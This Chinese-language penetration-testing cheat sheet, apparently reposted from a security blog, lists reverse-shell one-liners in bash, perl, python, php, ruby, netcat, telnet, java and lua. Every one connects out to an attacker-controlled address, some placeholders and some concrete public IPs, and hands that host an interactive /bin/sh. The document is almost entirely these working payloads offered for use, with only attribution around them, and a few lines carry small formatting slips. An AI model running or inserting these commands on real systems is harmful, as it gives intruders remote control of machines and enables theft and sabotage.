渗透过程中的端口反弹

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反弹的各种姿势

bash版本:

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

注意这个是由解析shell的bash完成,所以某些情况下不支持

perl版本:

perl-e'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'


python版本:

python-c'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

php版本:



php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'



ruby版本:



ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'



nc版本:



nc -e /bin/sh 223.8.200.234 1234



nc不使用-e:



mknod /tmp/backpipe p

/bin/sh 0</tmp/backpipe | nc attackerip listenport 1>/tmp/backpipe



mknod:



mknod backpipe p && telnet 173.214.173.151 8080 0backpipe



java版本:



r = Runtime.getRuntime()

p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/202.103.243.122/2002;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])p.waitFor()



lua版本:

lua-e "require('socket');require('os');t=socket.tcp();t:connect('202.103.243.122','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

文章出处:Evi1cg's blog   

原文链接:

https://evi1cg.me/archives/GetShellls.html

本文原创,作者:张,其版权均为华盟网所有。如需转载,请注明出处:https://www.77169.net/html/245913.html

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